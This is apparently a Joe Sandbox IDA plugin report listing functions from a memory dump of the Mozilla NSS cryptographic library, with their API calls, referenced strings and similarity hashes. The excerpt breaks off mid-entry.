Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 23c7f4318538b06e45908dbdf9eff6bcc652ad0083807e4c5a6a749820b69bfc
Instruction ID: aabc3baf166b38880b8e9c553f10a6afab37b35e2e3b68d588c2996ee4dd1401
Opcode Fuzzy Hash: 23c7f4318538b06e45908dbdf9eff6bcc652ad0083807e4c5a6a749820b69bfc
Instruction Fuzzy Hash: 55918EB5900601DFCB04DF25D9C095ABBF5FF493187298569D8196BB22E732FC8ACB90

Function 6C9C2980 Relevance: 22.7, APIs: 15, Instructions: 217COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C9A9E71,?,?,6C9BF03D), ref: 6C9C29A2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C9A9E71,?), ref: 6C9C29B6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C9A9E71,?,?,6C9BF03D), ref: 6C9C29E2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C9A9E71,?), ref: 6C9C29F6
PL_HashTableLookup.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9A9E71,?), ref: 6C9C2A06
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9A9E71), ref: 6C9C2A13

Part of subcall function 6CA4DD70: TlsGetValue.KERNEL32 ref: 6CA4DD8C
Part of subcall function 6CA4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DDB4

PR_Unlock.NSS3(?), ref: 6C9C2A6A
TlsGetValue.KERNEL32 ref: 6C9C2A98
EnterCriticalSection.KERNEL32(?), ref: 6C9C2AAC
PL_HashTableLookup.NSS3(?,?), ref: 6C9C2ABC
PR_Unlock.NSS3(?), ref: 6C9C2AC9
TlsGetValue.KERNEL32 ref: 6C9C2B3D
EnterCriticalSection.KERNEL32(?), ref: 6C9C2B51
PL_HashTableLookup.NSS3(?,6C9A9E71), ref: 6C9C2B61
PR_Unlock.NSS3(?), ref: 6C9C2B6E

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Value$CriticalSection$EnterUnlock$HashLookupTable$calloc$Leave
String ID:
API String ID: 2204204336-0
Opcode ID: c8679ba33e9d70aa82c20b5a3dbe8db03680b44e66e63406fbd0200153367c34
Instruction ID: 6d90b264468a07ffbd2e956bd93402a0c441fec14a8f87a7c3e4f315d4b7d507
Opcode Fuzzy Hash: c8679ba33e9d70aa82c20b5a3dbe8db03680b44e66e63406fbd0200153367c34
Instruction Fuzzy Hash: 0A711976E00A05ABDF109F24DC4489A7778FF2A358B098564EC2C9BB11EB31E955C7D3

Function 6CA35CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6CA32BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CA32A28,00000060,00000001), ref: 6CA32BF0
Part of subcall function 6CA32BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CA32A28,00000060,00000001), ref: 6CA32C07
Part of subcall function 6CA32BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6CA32A28,00000060,00000001), ref: 6CA32C1E
Part of subcall function 6CA32BE0: free.MOZGLUE(?,00000000,00000000,?,6CA32A28,00000060,00000001), ref: 6CA32C4A

free.MOZGLUE(?,?,6CA3AAD4,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA35D0F
free.MOZGLUE(?,?,?,6CA3AAD4,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA35D4E
free.MOZGLUE(?,?,?,6CA3AAD4,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA35D62
free.MOZGLUE(?,?,?,?,6CA3AAD4,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA35D85
free.MOZGLUE(?,?,?,?,6CA3AAD4,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA35D99
free.MOZGLUE(?,?,?,?,6CA3AAD4,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA35DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6CA3AAD4,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA35E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6CA3AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CA35E3E
free.MOZGLUE(?,?,?,?,?,?,6CA3AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CA35E47
free.MOZGLUE(?,?,?,?,6CA3AAD4,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA35E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6CA3AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CA35E78
free.MOZGLUE(?,?,?,?,?,?,?,6CA3AAD4), ref: 6CA35EB9
free.MOZGLUE(?,?,?,?,?,?,?,6CA3AAD4), ref: 6CA35EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6CA3AAD4), ref: 6CA35F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CA3AAD4), ref: 6CA35F4B

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 06b5531449a0162d7b5deb6fdeaf938dabf2a08f25d005abfbb1831846088670
Instruction ID: 2bcc7ec0b4fe46830f52f789e094b9403710b2d4420b65656ae430c494231521
Opcode Fuzzy Hash: 06b5531449a0162d7b5deb6fdeaf938dabf2a08f25d005abfbb1831846088670
Instruction Fuzzy Hash: B47183B5A00B019FD711DF24D884A9277F5FF89308F188529D86E87B11E731F9A9CB91

Function 6C98B860 Relevance: 22.7, APIs: 15, Instructions: 174COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000144,?,?,?,?,?,6C98B45E,?,?,?,?,?,?,?,?), ref: 6C98B87D
TlsGetValue.KERNEL32 ref: 6C98B8FE
EnterCriticalSection.KERNEL32(?), ref: 6C98B912
TlsGetValue.KERNEL32 ref: 6C98B959
_PR_MD_UNLOCK.NSS3(?), ref: 6C98B977
calloc.MOZGLUE(00000001,0000002C), ref: 6C98B983
PR_NewCondVar.NSS3 ref: 6C98B9B9
InitializeCriticalSectionAndSpinCount.KERNEL32(-00000040,000005DC,?,?), ref: 6C98BA54
GetLastError.KERNEL32 ref: 6C98BA5F
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C98BA77
DeleteCriticalSection.KERNEL32(?), ref: 6C98BA96
free.MOZGLUE(?), ref: 6C98BA9D
free.MOZGLUE(?), ref: 6C98BAB3
DeleteCriticalSection.KERNEL32(?), ref: 6C98BACD
free.MOZGLUE(00000000), ref: 6C98BAD4

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalSection$free$DeleteErrorValuecalloc$CondCountEnterInitializeLastSpin
String ID:
API String ID: 1841981668-0
Opcode ID: 4c52401cbc3c8889361c427fe6907ba7a2f0bf32f982f4037f3aed4f2572db50
Instruction ID: 4df2303633c1036ab24a1aea0d3ae9cc2a1372692a938a687caac9fca98a49cc
Opcode Fuzzy Hash: 4c52401cbc3c8889361c427fe6907ba7a2f0bf32f982f4037f3aed4f2572db50
Instruction Fuzzy Hash: E051D4B16013019FEB109F29DC44B5B7BF8BF15308F088929E86AD3A41EB35D556CB91

Function 6C9B8DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C9B8E22
EnterCriticalSection.KERNEL32(?), ref: 6C9B8E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C9B8E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C9B8E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C9B8E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C9B8EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C9B8EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C9B8EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C9B8F00
free.MOZGLUE(?), ref: 6C9B8F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C9B8F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C9B8F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C9B8F5B
PR_Unlock.NSS3(?), ref: 6C9B8F72
PR_Unlock.NSS3(?), ref: 6C9B8F82

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: bf300f37ef09eafa96793ba56dccbf302a1c515244e409f61035b2266c81bd3a
Instruction ID: ffe81821b4f4fe19c8d239baa2c6c8ee38f33b028d025c867b9190d136695774
Opcode Fuzzy Hash: bf300f37ef09eafa96793ba56dccbf302a1c515244e409f61035b2266c81bd3a
Instruction Fuzzy Hash: FA5108B2E00206AFD7149F68CC849ABB7BDEF59358B148129FC18AB700E731ED5587D5

Function 6CAB0FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CAB1000

Part of subcall function 6CA69BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C991A48), ref: 6CA69BB3
Part of subcall function 6CA69BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C991A48), ref: 6CA69BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CAB1016

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

PR_Unlock.NSS3(?), ref: 6CAB1021

Part of subcall function 6CA4DD70: TlsGetValue.KERNEL32 ref: 6CA4DD8C
Part of subcall function 6CA4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CAB1046
PR_Unlock.NSS3(?), ref: 6CAB106B
PR_Lock.NSS3 ref: 6CAB1079
PR_Unlock.NSS3 ref: 6CAB1096
free.MOZGLUE(?), ref: 6CAB10A7
free.MOZGLUE(?), ref: 6CAB10B4
PR_DestroyCondVar.NSS3(?), ref: 6CAB10BF
PR_DestroyCondVar.NSS3(?), ref: 6CAB10CA
PR_DestroyCondVar.NSS3(?), ref: 6CAB10D5
PR_DestroyCondVar.NSS3(?), ref: 6CAB10E0
PR_DestroyLock.NSS3(?), ref: 6CAB10EB
free.MOZGLUE(?), ref: 6CAB1105

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 0111313da8d7d708186de52b2962e752c60b9b07558d0ee83fa53775ae039529
Instruction ID: 689288b87f81a4f8916fd29f0d56b1d1506da2a2eb250f4fd7860b54e8cbd1ac
Opcode Fuzzy Hash: 0111313da8d7d708186de52b2962e752c60b9b07558d0ee83fa53775ae039529
Instruction Fuzzy Hash: A5317CB5A01501ABD702AF25EE41A55B776FF1131CB188134E80923F61E772F9B8DBD2

Function 6C9C5E60 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9C5ECF
EnterCriticalSection.KERNEL32(?), ref: 6C9C5EE3
PR_Unlock.NSS3(?), ref: 6C9C5F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6C9C5FB5

Strings

NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6C9C61F4

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT
API String ID: 2280678669-837408685
Opcode ID: 76e93af9fab91de3bf94c38bdd516560bcd15056718972f52874aeaf179df73b
Instruction ID: b57f7f4ed23c05be9adb67a7e0cd15368b06659952bb2baff0e1a2a8f8c0d5e3
Opcode Fuzzy Hash: 76e93af9fab91de3bf94c38bdd516560bcd15056718972f52874aeaf179df73b
Instruction Fuzzy Hash: 48F116B4A002158FDB44CF18C884B96BBF4FF19304F1582AADD489B746E774DA95CF92

Function 6C92DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C92DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C92DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C92DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C92DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C92DECD

Strings

database corruption, xrefs: 6C92DF77, 6C92DFE7
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C92DF6D, 6C92DFCC, 6C92DFDD
%s at line %d of [%.10s], xrefs: 6C92DF7C, 6C92DFEC

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: eb29c9c332864c1f95d757f8ed07a2b1ea225d0a3b50dd480e96239f86e88221
Instruction ID: a63bca30effadd2d8afc32b27d83a5d3f7c111ad9b18a47d51a88bb45f5ea302
Opcode Fuzzy Hash: eb29c9c332864c1f95d757f8ed07a2b1ea225d0a3b50dd480e96239f86e88221
Instruction Fuzzy Hash: 16A106726246019FD710CF29C480AAAB7F9EF95308F15892CF8C98BB45D738E855CBA1

Function 6C9EEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C9EEE0B

Part of subcall function 6CA00BE0: malloc.MOZGLUE(6C9F8D2D,?,00000000,?), ref: 6CA00BF8
Part of subcall function 6CA00BE0: TlsGetValue.KERNEL32(6C9F8D2D,?,00000000,?), ref: 6CA00C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C9EEEE1

Part of subcall function 6C9E1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C9E1D7E
Part of subcall function 6C9E1D50: EnterCriticalSection.KERNEL32(?), ref: 6C9E1D8E
Part of subcall function 6C9E1D50: PR_Unlock.NSS3(?), ref: 6C9E1DD3

TlsGetValue.KERNEL32 ref: 6C9EEE51
EnterCriticalSection.KERNEL32(?), ref: 6C9EEE65
PR_Unlock.NSS3(?), ref: 6C9EEEA2
free.MOZGLUE(?), ref: 6C9EEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C9EEED0
PR_Unlock.NSS3(?), ref: 6C9EEF48
free.MOZGLUE(?), ref: 6C9EEF68
PR_SetError.NSS3(00000000,00000000), ref: 6C9EEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C9EEFA4
free.MOZGLUE(?), ref: 6C9EEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C9EF055
free.MOZGLUE(?), ref: 6C9EF060

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 086bb8f1623c9288e134da633ec13911bd923d6bbb10cafad9c5d9a1ae1d9ccd
Instruction ID: 4a39c7a92573e2a86122602caa867326b772b8afa6d9671b1199a2374e3a4176
Opcode Fuzzy Hash: 086bb8f1623c9288e134da633ec13911bd923d6bbb10cafad9c5d9a1ae1d9ccd
Instruction Fuzzy Hash: 83816071A00209ABDF01DFA5EC45BDE7BB9BF2D318F144028E919A3711E771E964CBA1

Function 6C9B4CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C9B4D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C9B4D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C9B4DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9B4E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C9B4E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C9B4E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C9B4E85
DER_Encode_Util.NSS3(?,?,6CB005A4,00000000), ref: 6C9B4EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C9B4F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C9B4F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C9B4F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C9B4F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9B4F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C9B4FC8

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 5cc56aefd9eca2cd159c23d07c70c343618eb9846d2b632996690d0b12a5c07c
Instruction ID: 031f7022abeeb5dc4aff45573176213da048d2ba7f3999747bc1e8efc693bfbb
Opcode Fuzzy Hash: 5cc56aefd9eca2cd159c23d07c70c343618eb9846d2b632996690d0b12a5c07c
Instruction Fuzzy Hash: 4D81AF71A08301AFE701CF24D880B5BB7E8AB88748F14852DF958EB641E770E919DF92

Function 6C9F5C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C9F5C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C9F5CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C9F5CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C9F5D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C9F5D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9F5D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C9F5E18
TlsGetValue.KERNEL32 ref: 6C9F5E5E
EnterCriticalSection.KERNEL32(?), ref: 6C9F5E72
PR_Unlock.NSS3(?), ref: 6C9F5E8B

Part of subcall function 6C9EF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C9EF854
Part of subcall function 6C9EF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C9EF868
Part of subcall function 6C9EF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C9EF882
Part of subcall function 6C9EF820: free.MOZGLUE(04C483FF,?,?), ref: 6C9EF889
Part of subcall function 6C9EF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C9EF8A4
Part of subcall function 6C9EF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C9EF8AB
Part of subcall function 6C9EF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C9EF8C9
Part of subcall function 6C9EF820: free.MOZGLUE(280F10EC,?,?), ref: 6C9EF8D0

Strings

d, xrefs: 6C9F5C36
tokens=[0x%x=<%s>], xrefs: 6C9F5D3D

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
